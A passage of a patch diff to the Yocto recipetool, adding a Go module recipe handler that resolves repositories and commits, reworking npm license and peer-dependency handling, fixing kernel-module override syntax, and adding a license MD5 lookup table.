+ vcsIBMDevOps = {}
+ vcsIBMDevOps[vcs.pathprefix] = "hub.jazz.net/git"
+ vcsIBMDevOps[vcs.regexp] = re.compile(
+ r'^(?P<root>hub\.jazz\.net/git/[a-z0-9]+/[A-Za-z0-9_.\-]+)(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsIBMDevOps[vcs.type] = "git"
+ vcsIBMDevOps[vcs.repo] = "https://\\g<root>"
+
+ # Git at Apache
+ vcsApacheGit = {}
+ vcsApacheGit[vcs.pathprefix] = "git.apache.org"
+ vcsApacheGit[vcs.regexp] = re.compile(
+ r'^(?P<root>git\.apache\.org/[a-z0-9_.\-]+\.git)(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsApacheGit[vcs.type] = "git"
+ vcsApacheGit[vcs.repo] = "https://\\g<root>"
+
+ # Git at OpenStack
+ vcsOpenStackGit = {}
+ vcsOpenStackGit[vcs.pathprefix] = "git.openstack.org"
+ vcsOpenStackGit[vcs.regexp] = re.compile(
+ r'^(?P<root>git\.openstack\.org/[A-Za-z0-9_.\-]+/[A-Za-z0-9_.\-]+)(\.git)?(/(?P<suffix>[A-Za-z0-9_.\-]+))*$')
+ vcsOpenStackGit[vcs.type] = "git"
+ vcsOpenStackGit[vcs.repo] = "https://\\g<root>"
+
+ # chiselapp.com for fossil
+ vcsChiselapp = {}
+ vcsChiselapp[vcs.pathprefix] = "chiselapp.com"
+ vcsChiselapp[vcs.regexp] = re.compile(
+ r'^(?P<root>chiselapp\.com/user/[A-Za-z0-9]+/repository/[A-Za-z0-9_.\-]+)$')
+ vcsChiselapp[vcs.type] = "fossil"
+ vcsChiselapp[vcs.repo] = "https://\\g<root>"
+
+ # General syntax for any server.
+ # Must be last.
+ vcsGeneralServer = {}
+ vcsGeneralServer[vcs.regexp] = re.compile(
+ "(?P<root>(?P<repo>([a-z0-9.\\-]+\\.)+[a-z0-9.\\-]+(:[0-9]+)?(/~?[A-Za-z0-9_.\\-]+)+?)\\.(?P<vcs>bzr|fossil|git|hg|svn))(/~?(?P<suffix>[A-Za-z0-9_.\\-]+))*$")
+ vcsGeneralServer[vcs.schemelessRepo] = True
+
+ vcsPaths = [vcsGitHub, vcsBitbucket, vcsIBMDevOps,
+ vcsApacheGit, vcsOpenStackGit, vcsChiselapp,
+ vcsGeneralServer]
+
+ if modulepath.startswith("example.net") or modulepath == "rsc.io":
+ logger.warning("Suspicious module path %s" % modulepath)
+ return None
+ if modulepath.startswith("http:") or modulepath.startswith("https:"):
+ logger.warning("Import path should not start with %s %s" %
+ ("http", "https"))
+ return None
+
+ rootpath = None
+ vcstype = None
+ repourl = None
+ suffix = None
+
+ for srv in vcsPaths:
+ m = srv[vcs.regexp].match(modulepath)
+ if vcs.pathprefix in srv:
+ if host == srv[vcs.pathprefix]:
+ rootpath = m.group('root')
+ vcstype = srv[vcs.type]
+ repourl = m.expand(srv[vcs.repo])
+ suffix = m.group('suffix')
+ break
+ elif m and srv[vcs.schemelessRepo]:
+ rootpath = m.group('root')
+ vcstype = m[vcs.type]
+ repourl = m[vcs.repo]
+ suffix = m.group('suffix')
+ break
+
+ return GoImport(rootpath, vcstype, repourl, suffix)
+
+ def __resolve_repository_dynamic(self, modulepath):
+ """Resolve the repository root in a dynamic manner.
+
+ The method is based on the go implementation of
+ `repoRootForImportDynamic` in
+ https://github.com/golang/go/blob/master/src/cmd/go/internal/vcs/vcs.go
+ """
+ url = urllib.parse.urlparse("https://" + modulepath)
+
+ class GoImportHTMLParser(HTMLParser):
+
+ def __init__(self):
+ super().__init__()
+ self.__srv = []
+
+ def handle_starttag(self, tag, attrs):
+ if tag == 'meta' and list(
+ filter(lambda a: (a[0] == 'name' and a[1] == 'go-import'), attrs)):
+ content = list(
+ filter(lambda a: (a[0] == 'content'), attrs))
+ if content:
+ self.__srv = content[0][1].split()
+
+ @property
+ def import_prefix(self):
+ return self.__srv[0] if len(self.__srv) else None
+
+ @property
+ def vcs(self):
+ return self.__srv[1] if len(self.__srv) else None
+
+ @property
+ def repourl(self):
+ return self.__srv[2] if len(self.__srv) else None
+
+ url = url.geturl() + "?go-get=1"
+ req = urllib.request.Request(url)
+
+ try:
+ resp = urllib.request.urlopen(req)
+
+ except URLError as url_err:
+ logger.warning(
+ "Failed to fetch page from [%s]: %s", url, str(url_err))
+ return None
+
+ parser = GoImportHTMLParser()
+ parser.feed(resp.read().decode('utf-8'))
+ parser.close()
+
+ return GoImport(parser.import_prefix, parser.vcs, parser.repourl, None)
+
+ def __resolve_from_golang_proxy(self, modulepath, version):
+ """
+ Resolves repository data from golang proxy
+ """
+ url = urllib.parse.urlparse("https://proxy.golang.org/"
+ + modulepath
+ + "/@v/"
+ + version
+ + ".info")
+
+ # Transform url to lower case, golang proxy doesn't like mixed case
+ req = urllib.request.Request(url.geturl().lower())
+
+ try:
+ resp = urllib.request.urlopen(req)
+ except URLError as url_err:
+ logger.warning(
+ "Failed to fetch page from [%s]: %s", url, str(url_err))
+ return None
+
+ golang_proxy_res = resp.read().decode('utf-8')
+ modinfo = json.loads(golang_proxy_res)
+
+ if modinfo and 'Origin' in modinfo:
+ origin = modinfo['Origin']
+ _root_url = urllib.parse.urlparse(origin['URL'])
+
+ # We normalize the repo URL since we don't want the scheme in it
+ _subdir = origin['Subdir'] if 'Subdir' in origin else None
+ _root, _, _ = self.__split_path_version(modulepath)
+ if _subdir:
+ _root = _root[:-len(_subdir)].strip('/')
+
+ _commit = origin['Hash']
+ _vcs = origin['VCS']
+ return (GoImport(_root, _vcs, _root_url.geturl(), None), _commit)
+
+ return None
+
+ def __resolve_repository(self, modulepath):
+ """
+ Resolves src uri from go module-path
+ """
+ repodata = self.__resolve_repository_static(modulepath)
+ if not repodata or not repodata.url:
+ repodata = self.__resolve_repository_dynamic(modulepath)
+ if not repodata or not repodata.url:
+ logger.error(
+ "Could not resolve repository for module path '%s'" % modulepath)
+ # There is no way to recover from this
+ sys.exit(14)
+ if repodata:
+ logger.debug(1, "Resolved download path for import '%s' => %s" % (
+ modulepath, repodata.url))
+ return repodata
+
+ def __split_path_version(self, path):
+ i = len(path)
+ dot = False
+ for j in range(i, 0, -1):
+ if path[j - 1] < '0' or path[j - 1] > '9':
+ break
+ if path[j - 1] == '.':
+ dot = True
+ break
+ i = j - 1
+
+ if i <= 1 or i == len(
+ path) or path[i - 1] != 'v' or path[i - 2] != '/':
+ return path, "", True
+
+ prefix, pathMajor = path[:i - 2], path[i - 2:]
+ if dot or len(
+ pathMajor) <= 2 or pathMajor[2] == '0' or pathMajor == "/v1":
+ return path, "", False
+
+ return prefix, pathMajor, True
+
+ def __get_path_major(self, pathMajor):
+ if not pathMajor:
+ return ""
+
+ if pathMajor[0] != '/' and pathMajor[0] != '.':
+ logger.error(
+ "pathMajor suffix %s passed to PathMajorPrefix lacks separator", pathMajor)
+
+ if pathMajor.startswith(".v") and pathMajor.endswith("-unstable"):
+ pathMajor = pathMajor[:len("-unstable") - 2]
+
+ return pathMajor[1:]
+
+ def __build_coderepo(self, repo, path):
+ codedir = ""
+ pathprefix, pathMajor, _ = self.__split_path_version(path)
+ if repo.root == path:
+ pathprefix = path
+ elif path.startswith(repo.root):
+ codedir = pathprefix[len(repo.root):].strip('/')
+
+ pseudoMajor = self.__get_path_major(pathMajor)
+
+ logger.debug("root='%s', codedir='%s', prefix='%s', pathMajor='%s', pseudoMajor='%s'",
+ repo.root, codedir, pathprefix, pathMajor, pseudoMajor)
+
+ return CodeRepo(path, repo.root, codedir,
+ pathMajor, pathprefix, pseudoMajor)
+
+ def __resolve_version(self, repo, path, version):
+ hash = None
+ coderoot = self.__build_coderepo(repo, path)
+
+ def vcs_fetch_all():
+ tmpdir = tempfile.mkdtemp()
+ clone_cmd = "%s clone --bare %s %s" % ('git', repo.url, tmpdir)
+ bb.process.run(clone_cmd)
+ log_cmd = "git log --all --pretty='%H %d' --decorate=short"
+ output, _ = bb.process.run(
+ log_cmd, shell=True, stderr=subprocess.PIPE, cwd=tmpdir)
+ bb.utils.prunedir(tmpdir)
+ return output.strip().split('\n')
+
+ def vcs_fetch_remote(tag):
+ # add * to grab ^{}
+ refs = {}
+ ls_remote_cmd = "git ls-remote -q --tags {} {}*".format(
+ repo.url, tag)
+ output, _ = bb.process.run(ls_remote_cmd)
+ output = output.strip().split('\n')
+ for line in output:
+ f = line.split(maxsplit=1)
+ if len(f) != 2:
+ continue
+
+ for prefix in ["HEAD", "refs/heads/", "refs/tags/"]:
+ if f[1].startswith(prefix):
+ refs[f[1][len(prefix):]] = f[0]
+
+ for key, hash in refs.items():
+ if key.endswith(r"^{}"):
+ refs[key.strip(r"^{}")] = hash
+
+ return refs[tag]
+
+ m_pseudo_semver = re_pseudo_semver.match(version)
+
+ if m_pseudo_semver:
+ remote_refs = vcs_fetch_all()
+ short_commit = m_pseudo_semver.group('commithash')
+ for l in remote_refs:
+ r = l.split(maxsplit=1)
+ sha1 = r[0] if len(r) else None
+ if not sha1:
+ logger.error(
+ "Ups: could not resolve abbref commit for %s" % short_commit)
+
+ elif sha1.startswith(short_commit):
+ hash = sha1
+ break
+ else:
+ m_semver = re_semver.match(version)
+ if m_semver:
+
+ def get_sha1_remote(re):
+ rsha1 = None
+ for line in remote_refs:
+ # Split lines of the following format:
+ # 22e90d9b964610628c10f673ca5f85b8c2a2ca9a (tag: sometag)
+ lineparts = line.split(maxsplit=1)
+ sha1 = lineparts[0] if len(lineparts) else None
+ refstring = lineparts[1] if len(
+ lineparts) == 2 else None
+ if refstring:
+ # Normalize tag string and split in case of multiple
+ # regs e.g. (tag: speech/v1.10.0, tag: orchestration/v1.5.0 ...)
+ refs = refstring.strip('(), ').split(',')
+ for ref in refs:
+ if re.match(ref.strip()):
+ rsha1 = sha1
+ return rsha1
+
+ semver = "v" + m_semver.group('major') + "."\
+ + m_semver.group('minor') + "."\
+ + m_semver.group('patch') \
+ + (("-" + m_semver.group('prerelease'))
+ if m_semver.group('prerelease') else "")
+
+ tag = os.path.join(
+ coderoot.codeDir, semver) if coderoot.codeDir else semver
+
+ # probe tag using 'ls-remote', which is faster than fetching
+ # complete history
+ hash = vcs_fetch_remote(tag)
+ if not hash:
+ # backup: fetch complete history
+ remote_refs = vcs_fetch_all()
+ hash = get_sha1_remote(
+ re.compile(fr"(tag:|HEAD ->) ({tag})"))
+
+ logger.debug(
+ "Resolving commit for tag '%s' -> '%s'", tag, hash)
+ return hash
+
+ def __generate_srcuri_inline_fcn(self, path, version, replaces=None):
+ """Generate SRC_URI functions for go imports"""
+
+ logger.info("Resolving repository for module %s", path)
+ # First try to resolve repo and commit from golang proxy
+ # Most info is already there and we don't have to go through the
+ # repository or even perform the version resolve magic
+ golang_proxy_info = self.__resolve_from_golang_proxy(path, version)
+ if golang_proxy_info:
+ repo = golang_proxy_info[0]
+ commit = golang_proxy_info[1]
+ else:
+ # Fallback
+ # Resolve repository by 'hand'
+ repo = self.__resolve_repository(path)
+ commit = self.__resolve_version(repo, path, version)
+
+ url = urllib.parse.urlparse(repo.url)
+ repo_url = url.netloc + url.path
+
+ coderoot = self.__build_coderepo(repo, path)
+
+ inline_fcn = "${@go_src_uri("
+ inline_fcn += f"'{repo_url}','{version}'"
+ if repo_url != path:
+ inline_fcn += f",path='{path}'"
+ if coderoot.codeDir:
+ inline_fcn += f",subdir='{coderoot.codeDir}'"
+ if repo.vcs != 'git':
+ inline_fcn += f",vcs='{repo.vcs}'"
+ if replaces:
+ inline_fcn += f",replaces='{replaces}'"
+ if coderoot.pathMajor:
+ inline_fcn += f",pathmajor='{coderoot.pathMajor}'"
+ inline_fcn += ")}"
+
+ return inline_fcn, commit
+
+ def __go_handle_dependencies(self, go_mod, srctree, localfilesdir, extravalues, d):
+
+ import re
+ src_uris = []
+ src_revs = []
+
+ def generate_src_rev(path, version, commithash):
+ src_rev = f"# {path}@{version} => {commithash}\n"
+ # Ups...maybe someone manipulated the source repository and the
+ # version or commit could not be resolved. This is a sign of
+ # a) the supply chain was manipulated (bad)
+ # b) the implementation for the version resolving didn't work
+ # anymore (less bad)
+ if not commithash:
+ src_rev += f"#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
+ src_rev += f"#!!! Could not resolve version !!!\n"
+ src_rev += f"#!!! Possible supply chain attack !!!\n"
+ src_rev += f"#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n"
+ src_rev += f"SRCREV_{path.replace('/', '.')} = \"{commithash}\""
+
+ return src_rev
+
+ # we first go over replacement list, because we are essentialy
+ # interested only in the replaced path
+ if go_mod['Replace']:
+ for replacement in go_mod['Replace']:
+ oldpath = replacement['Old']['Path']
+ path = replacement['New']['Path']
+ version = ''
+ if 'Version' in replacement['New']:
+ version = replacement['New']['Version']
+
+ if os.path.exists(os.path.join(srctree, path)):
+ # the module refers to the local path, remove it from requirement list
+ # because it's a local module
+ go_mod['Require'][:] = [v for v in go_mod['Require'] if v.get('Path') != oldpath]
+ else:
+ # Replace the path and the version, so we don't iterate replacement list anymore
+ for require in go_mod['Require']:
+ if require['Path'] == oldpath:
+ require.update({'Path': path, 'Version': version})
+ break
+
+ for require in go_mod['Require']:
+ path = require['Path']
+ version = require['Version']
+
+ inline_fcn, commithash = self.__generate_srcuri_inline_fcn(
+ path, version)
+ src_uris.append(inline_fcn)
+ src_revs.append(generate_src_rev(path, version, commithash))
+
+ # strip version part from module URL /vXX
+ baseurl = re.sub(r'/v(\d+)$', '', go_mod['Module']['Path'])
+ pn, _ = determine_from_url(baseurl)
+ go_mods_basename = "%s-modules.inc" % pn
+
+ go_mods_filename = os.path.join(localfilesdir, go_mods_basename)
+ with open(go_mods_filename, "w") as f:
+ # We introduce this indirection to make the tests a little easier
+ f.write("SRC_URI += \"${GO_DEPENDENCIES_SRC_URI}\"\n")
+ f.write("GO_DEPENDENCIES_SRC_URI = \"\\\n")
+ for uri in src_uris:
+ f.write(" " + uri + " \\\n")
+ f.write("\"\n\n")
+ for rev in src_revs:
+ f.write(rev + "\n")
+
+ extravalues['extrafiles'][go_mods_basename] = go_mods_filename
+
+ def __go_run_cmd(self, cmd, cwd, d):
+ return bb.process.run(cmd, env=dict(os.environ, PATH=d.getVar('PATH')),
+ shell=True, cwd=cwd)
+
+ def __go_native_version(self, d):
+ stdout, _ = self.__go_run_cmd("go version", None, d)
+ m = re.match(r".*\sgo((\d+).(\d+).(\d+))\s([\w\/]*)", stdout)
+ major = int(m.group(2))
+ minor = int(m.group(3))
+ patch = int(m.group(4))
+
+ return major, minor, patch
+
+ def __go_mod_patch(self, srctree, localfilesdir, extravalues, d):
+
+ patchfilename = "go.mod.patch"
+ go_native_version_major, go_native_version_minor, _ = self.__go_native_version(
+ d)
+ self.__go_run_cmd("go mod tidy -go=%d.%d" %
+ (go_native_version_major, go_native_version_minor), srctree, d)
+ stdout, _ = self.__go_run_cmd("go mod edit -json", srctree, d)
+
+ # Create patch in order to upgrade go version
+ self.__go_run_cmd("git diff go.mod > %s" % (patchfilename), srctree, d)
+ # Restore original state
+ self.__go_run_cmd("git checkout HEAD go.mod go.sum", srctree, d)
+
+ go_mod = json.loads(stdout)
+ tmpfile = os.path.join(localfilesdir, patchfilename)
+ shutil.move(os.path.join(srctree, patchfilename), tmpfile)
+
+ extravalues['extrafiles'][patchfilename] = tmpfile
+
+ return go_mod, patchfilename
+
+ def __go_mod_vendor(self, go_mod, srctree, localfilesdir, extravalues, d):
+ # Perform vendoring to retrieve the correct modules.txt
+ tmp_vendor_dir = tempfile.mkdtemp()
+
+ # -v causes to go to print modules.txt to stderr
+ _, stderr = self.__go_run_cmd(
+ "go mod vendor -v -o %s" % (tmp_vendor_dir), srctree, d)
+
+ modules_txt_basename = "modules.txt"
+ modules_txt_filename = os.path.join(localfilesdir, modules_txt_basename)
+ with open(modules_txt_filename, "w") as f:
+ f.write(stderr)
+
+ extravalues['extrafiles'][modules_txt_basename] = modules_txt_filename
+
+ licenses = []
+ lic_files_chksum = []
+ licvalues = guess_license(tmp_vendor_dir, d)
+ shutil.rmtree(tmp_vendor_dir)
+
+ if licvalues:
+ for licvalue in licvalues:
+ license = licvalue[0]
+ lics = tidy_licenses(fixup_license(license))
+ lics = [lic for lic in lics if lic not in licenses]
+ if len(lics):
+ licenses.extend(lics)
+ lic_files_chksum.append(
+ 'file://src/${GO_IMPORT}/vendor/%s;md5=%s' % (licvalue[1], licvalue[2]))
+
+ # strip version part from module URL /vXX
+ baseurl = re.sub(r'/v(\d+)$', '', go_mod['Module']['Path'])
+ pn, _ = determine_from_url(baseurl)
+ licenses_basename = "%s-licenses.inc" % pn
+
+ licenses_filename = os.path.join(localfilesdir, licenses_basename)
+ with open(licenses_filename, "w") as f:
+ f.write("GO_MOD_LICENSES = \"%s\"\n\n" %
+ ' & '.join(sorted(licenses, key=str.casefold)))
+ # We introduce this indirection to make the tests a little easier
+ f.write("LIC_FILES_CHKSUM += \"${VENDORED_LIC_FILES_CHKSUM}\"\n")
+ f.write("VENDORED_LIC_FILES_CHKSUM = \"\\\n")
+ for lic in lic_files_chksum:
+ f.write(" " + lic + " \\\n")
+ f.write("\"\n")
+
+ extravalues['extrafiles'][licenses_basename] = licenses_filename
+
+ def process(self, srctree, classes, lines_before,
+ lines_after, handled, extravalues):
+
+ if 'buildsystem' in handled:
+ return False
+
+ files = RecipeHandler.checkfiles(srctree, ['go.mod'])
+ if not files:
+ return False
+
+ d = bb.data.createCopy(tinfoil.config_data)
+ go_bindir = self.__ensure_go()
+ if not go_bindir:
+ sys.exit(14)
+
+ d.prependVar('PATH', '%s:' % go_bindir)
+ handled.append('buildsystem')
+ classes.append("go-vendor")
+
+ stdout, _ = self.__go_run_cmd("go mod edit -json", srctree, d)
+
+ go_mod = json.loads(stdout)
+ go_import = go_mod['Module']['Path']
+ go_version_match = re.match("([0-9]+).([0-9]+)", go_mod['Go'])
+ go_version_major = int(go_version_match.group(1))
+ go_version_minor = int(go_version_match.group(2))
+ src_uris = []
+
+ localfilesdir = tempfile.mkdtemp(prefix='recipetool-go-')
+ extravalues.setdefault('extrafiles', {})
+
+ # Use an explicit name determined from the module name because it
+ # might differ from the actual URL for replaced modules
+ # strip version part from module URL /vXX
+ baseurl = re.sub(r'/v(\d+)$', '', go_mod['Module']['Path'])
+ pn, _ = determine_from_url(baseurl)
+
+ # go.mod files with version < 1.17 may not include all indirect
+ # dependencies. Thus, we have to upgrade the go version.
+ if go_version_major == 1 and go_version_minor < 17:
+ logger.warning(
+ "go.mod files generated by Go < 1.17 might have incomplete indirect dependencies.")
+ go_mod, patchfilename = self.__go_mod_patch(srctree, localfilesdir,
+ extravalues, d)
+ src_uris.append(
+ "file://%s;patchdir=src/${GO_IMPORT}" % (patchfilename))
+
+ # Check whether the module is vendored. If so, we have nothing to do.
+ # Otherwise we gather all dependencies and add them to the recipe
+ if not os.path.exists(os.path.join(srctree, "vendor")):
+
+ # Write additional $BPN-modules.inc file
+ self.__go_mod_vendor(go_mod, srctree, localfilesdir, extravalues, d)
+ lines_before.append("LICENSE += \" & ${GO_MOD_LICENSES}\"")
+ lines_before.append("require %s-licenses.inc" % (pn))
+
+ self.__rewrite_src_uri(lines_before, ["file://modules.txt"])
+
+ self.__go_handle_dependencies(go_mod, srctree, localfilesdir, extravalues, d)
+ lines_before.append("require %s-modules.inc" % (pn))
+
+ # Do generic license handling
+ handle_license_vars(srctree, lines_before, handled, extravalues, d)
+ self.__rewrite_lic_uri(lines_before)
+
+ lines_before.append("GO_IMPORT = \"{}\"".format(baseurl))
+ lines_before.append("SRCREV_FORMAT = \"${BPN}\"")
+
+ def __update_lines_before(self, updated, newlines, lines_before):
+ if updated:
+ del lines_before[:]
+ for line in newlines:
+ # Hack to avoid newlines that edit_metadata inserts
+ if line.endswith('\n'):
+ line = line[:-1]
+ lines_before.append(line)
+ return updated
+
+ def __rewrite_lic_uri(self, lines_before):
+
+ def varfunc(varname, origvalue, op, newlines):
+ if varname == 'LIC_FILES_CHKSUM':
+ new_licenses = []
+ licenses = origvalue.split('\\')
+ for license in licenses:
+ if not license:
+ logger.warning("No license file was detected for the main module!")
+ # the license list of the main recipe must be empty
+ # this can happen for example in case of CLOSED license
+ # Fall through to complete recipe generation
+ continue
+ license = license.strip()
+ uri, chksum = license.split(';', 1)
+ url = urllib.parse.urlparse(uri)
+ new_uri = os.path.join(
+ url.scheme + "://", "src", "${GO_IMPORT}", url.netloc + url.path) + ";" + chksum
+ new_licenses.append(new_uri)
+
+ return new_licenses, None, -1, True
+ return origvalue, None, 0, True
+
+ updated, newlines = bb.utils.edit_metadata(
+ lines_before, ['LIC_FILES_CHKSUM'], varfunc)
+ return self.__update_lines_before(updated, newlines, lines_before)
+
+ def __rewrite_src_uri(self, lines_before, additional_uris = []):
+
+ def varfunc(varname, origvalue, op, newlines):
+ if varname == 'SRC_URI':
+ src_uri = ["git://${GO_IMPORT};destsuffix=git/src/${GO_IMPORT};nobranch=1;name=${BPN};protocol=https"]
+ src_uri.extend(additional_uris)
+ return src_uri, None, -1, True
+ return origvalue, None, 0, True
+
+ updated, newlines = bb.utils.edit_metadata(lines_before, ['SRC_URI'], varfunc)
+ return self.__update_lines_before(updated, newlines, lines_before)
+
+
+def register_recipe_handlers(handlers):
+ handlers.append((GoRecipeHandler(), 60))
diff --git a/scripts/lib/recipetool/create_kmod.py b/scripts/lib/recipetool/create_kmod.py
index 85b5c48e53..cc00106961 100644
--- a/scripts/lib/recipetool/create_kmod.py
+++ b/scripts/lib/recipetool/create_kmod.py
@@ -113,7 +113,7 @@ class KernelModuleRecipeHandler(RecipeHandler):
kdirpath, _ = check_target(compile_lines, install=False)
if manual_install or not install_lines:
- lines_after.append('EXTRA_OEMAKE_append_task-install = " -C ${STAGING_KERNEL_DIR} M=${S}"')
+ lines_after.append('EXTRA_OEMAKE:append:task-install = " -C ${STAGING_KERNEL_DIR} M=${S}"')
elif install_target and install_target != 'modules_install':
lines_after.append('MODULES_INSTALL_TARGET = "install"')
diff --git a/scripts/lib/recipetool/create_npm.py b/scripts/lib/recipetool/create_npm.py
index 579b7ae48a..113a89f6a6 100644
--- a/scripts/lib/recipetool/create_npm.py
+++ b/scripts/lib/recipetool/create_npm.py
@@ -6,16 +6,20 @@
"""Recipe creation tool - npm module support plugin"""
import json
+import logging
import os
import re
import sys
import tempfile
import bb
from bb.fetch2.npm import NpmEnvironment
+from bb.fetch2.npm import npm_package
from bb.fetch2.npmsw import foreach_dependencies
from recipetool.create import RecipeHandler
+from recipetool.create import get_license_md5sums
from recipetool.create import guess_license
from recipetool.create import split_pkg_licenses
+logger = logging.getLogger('recipetool')
TINFOIL = None
@@ -28,15 +32,6 @@ class NpmRecipeHandler(RecipeHandler):
"""Class to handle the npm recipe creation"""
@staticmethod
- def _npm_name(name):
- """Generate a Yocto friendly npm name"""
- name = re.sub("/", "-", name)
- name = name.lower()
- name = re.sub(r"[^\-a-z0-9]", "", name)
- name = name.strip("-")
- return name
-
- @staticmethod
def _get_registry(lines):
"""Get the registry value from the 'npm://registry' url"""
registry = None
@@ -118,23 +113,32 @@ class NpmRecipeHandler(RecipeHandler):
licfiles = []
packages = {}
- def _licfiles_append(licfile):
- """Append 'licfile' to the license files list"""
- licfilepath = os.path.join(srctree, licfile)
- licmd5 = bb.utils.md5_file(licfilepath)
- licfiles.append("file://%s;md5=%s" % (licfile, licmd5))
-
# Handle the parent package
- _licfiles_append("package.json")
packages["${PN}"] = ""
+ def _licfiles_append_fallback_readme_files(destdir):
+ """Append README files as fallback to license files if a license files is missing"""
+
+ fallback = True
+ readmes = []
+ basedir = os.path.join(srctree, destdir)
+ for fn in os.listdir(basedir):
+ upper = fn.upper()
+ if upper.startswith("README"):
+ fullpath = os.path.join(basedir, fn)
+ readmes.append(fullpath)
+ if upper.startswith("COPYING") or "LICENCE" in upper or "LICENSE" in upper:
+ fallback = False
+ if fallback:
+ for readme in readmes:
+ licfiles.append(os.path.relpath(readme, srctree))
+
# Handle the dependencies
- def _handle_dependency(name, params, deptree):
- suffix = "-".join([self._npm_name(dep) for dep in deptree])
- destdirs = [os.path.join("node_modules", dep) for dep in deptree]
- destdir = os.path.join(*destdirs)
- _licfiles_append(os.path.join(destdir, "package.json"))
- packages["${PN}-" + suffix] = destdir
+ def _handle_dependency(name, params, destdir):
+ deptree = destdir.split('node_modules/')
+ suffix = "-".join([npm_package(dep) for dep in deptree])
+ packages["${PN}" + suffix] = destdir
+ _licfiles_append_fallback_readme_files(destdir)
with open(shrinkwrap_file, "r") as f:
shrinkwrap = json.load(f)
@@ -142,6 +146,23 @@ class NpmRecipeHandler(RecipeHandler):
foreach_dependencies(shrinkwrap, _handle_dependency, dev)
return licfiles, packages
+
+ # Handle the peer dependencies
+ def _handle_peer_dependency(self, shrinkwrap_file):
+ """Check if package has peer dependencies and show warning if it is the case"""
+ with open(shrinkwrap_file, "r") as f:
+ shrinkwrap = json.load(f)
+
+ packages = shrinkwrap.get("packages", {})
+ peer_deps = packages.get("", {}).get("peerDependencies", {})
+
+ for peer_dep in peer_deps:
+ peer_dep_yocto_name = npm_package(peer_dep)
+ bb.warn(peer_dep + " is a peer dependencie of the actual package. " +
+ "Please add this peer dependencie to the RDEPENDS variable as %s and generate its recipe with devtool"
+ % peer_dep_yocto_name)
+
+
def process(self, srctree, classes, lines_before, lines_after, handled, extravalues):
"""Handle the npm recipe creation"""
@@ -160,7 +181,7 @@ class NpmRecipeHandler(RecipeHandler):
if "name" not in data or "version" not in data:
return False
- extravalues["PN"] = self._npm_name(data["name"])
+ extravalues["PN"] = npm_package(data["name"])
extravalues["PV"] = data["version"]
if "description" in data:
@@ -204,6 +225,9 @@ class NpmRecipeHandler(RecipeHandler):
self._run_npm_install(d, srctree, registry, dev)
shrinkwrap_file = self._generate_shrinkwrap(d, srctree, dev)
+ with open(shrinkwrap_file, "r") as f:
+ shrinkwrap = json.load(f)
+
if os.path.exists(lock_copy):
bb.utils.movefile(lock_copy, lock_file)
@@ -226,7 +250,8 @@ class NpmRecipeHandler(RecipeHandler):
value = origvalue.replace("version=" + data["version"], "version=${PV}")
value = value.replace("version=latest", "version=${PV}")
values = [line.strip() for line in value.strip('\n').splitlines()]
- values.append(url_recipe)
+ if "dependencies" in shrinkwrap.get("packages", {}).get("", {}):
+ values.append(url_recipe)
return values, None, 4, False
(_, newlines) = bb.utils.edit_metadata(lines_before, ["SRC_URI"], _handle_srcuri)
@@ -242,12 +267,42 @@ class NpmRecipeHandler(RecipeHandler):
bb.note("Handling licences ...")
(licfiles, packages) = self._handle_licenses(srctree, shrinkwrap_file, dev)
- extravalues["LIC_FILES_CHKSUM"] = licfiles
- split_pkg_licenses(guess_license(srctree, d), packages, lines_after, [])
+
+ def _guess_odd_license(licfiles):
+ import bb
+
+ md5sums = get_license_md5sums(d, linenumbers=True)
+
+ chksums = []
+ licenses = []
+ for licfile in licfiles:
+ f = os.path.join(srctree, licfile)
+ md5value = bb.utils.md5_file(f)
+ (license, beginline, endline, md5) = md5sums.get(md5value,
+ (None, "", "", ""))
+ if not license:
+ license = "Unknown"
+ logger.info("Please add the following line for '%s' to a "
+ "'lib/recipetool/licenses.csv' and replace `Unknown`, "
+ "`X`, `Y` and `MD5` with the license, begin line, "
+ "end line and partial MD5 checksum:\n" \
+ "%s,Unknown,X,Y,MD5" % (licfile, md5value))
+ chksums.append("file://%s%s%s;md5=%s" % (licfile,
+ ";beginline=%s" % (beginline) if beginline else "",
+ ";endline=%s" % (endline) if endline else "",
+ md5 if md5 else md5value))
+ licenses.append((license, licfile, md5value))
+ return (licenses, chksums)
+
+ (licenses, extravalues["LIC_FILES_CHKSUM"]) = _guess_odd_license(licfiles)
+ split_pkg_licenses([*licenses, *guess_license(srctree, d)], packages, lines_after)
classes.append("npm")
handled.append("buildsystem")
+ # Check if package has peer dependencies and inform the user
+ self._handle_peer_dependency(shrinkwrap_file)
+
return True
def register_recipe_handlers(handlers):
diff --git a/scripts/lib/recipetool/licenses.csv b/scripts/lib/recipetool/licenses.csv
new file mode 100644
index 0000000000..80851111b3
--- /dev/null
+++ b/scripts/lib/recipetool/licenses.csv
@@ -0,0 +1,37 @@
+0636e73ff0215e8d672dc4c32c317bb3,GPL-2.0-only
+12f884d2ae1ff87c09e5b7ccc2c4ca7e,GPL-2.0-only
+18810669f13b87348459e611d31ab760,GPL-2.0-only
+252890d9eee26aab7b432e8b8a616475,LGPL-2.0-only
+2d5025d4aa3495befef8f17206a5b0a1,LGPL-2.1-only
+3214f080875748938ba060314b4f727d,LGPL-2.0-only
+385c55653886acac3821999a3ccd17b3,Artistic-1.0 | GPL-2.0-only
+393a5ca445f6965873eca0259a17f833,GPL-2.0-only
+3b83ef96387f14655fc854ddc3c6bd57,Apache-2.0
+3bf50002aefd002f49e7bb854063f7e7,LGPL-2.0-only
+4325afd396febcb659c36b49533135d4,GPL-2.0-only
+4fbd65380cdd255951079008b364516c,LGPL-2.1-only
+54c7042be62e169199200bc6477f04d1,BSD-3-Clause
+55ca817ccb7d5b5b66355690e9abc605,LGPL-2.0-only
+59530bdf33659b29e73d4adb9f9f6552,GPL-2.0-only
+5f30f0716dfdd0d91eb439ebec522ec2,LGPL-2.0-only
+6a6a8e020838b23406c81b19c1d46df6,LGPL-3.0-only
+751419260aa954499f7abaabaa882bbe,GPL-2.0-only
+7fbc338309ac38fefcd64b04bb903e34,LGPL-2.1-only
+8ca43cbc842c2336e835926c2166c28b,GPL-2.0-only
+94d55d512a9ba36caa9b7df079bae19f,GPL-2.0-only
+9ac2e7cff1ddaf48b6eab6028f23ef88,GPL-2.0-only
+9f604d8a4f8e74f4f5140845a21b6674,LGPL-2.0-only
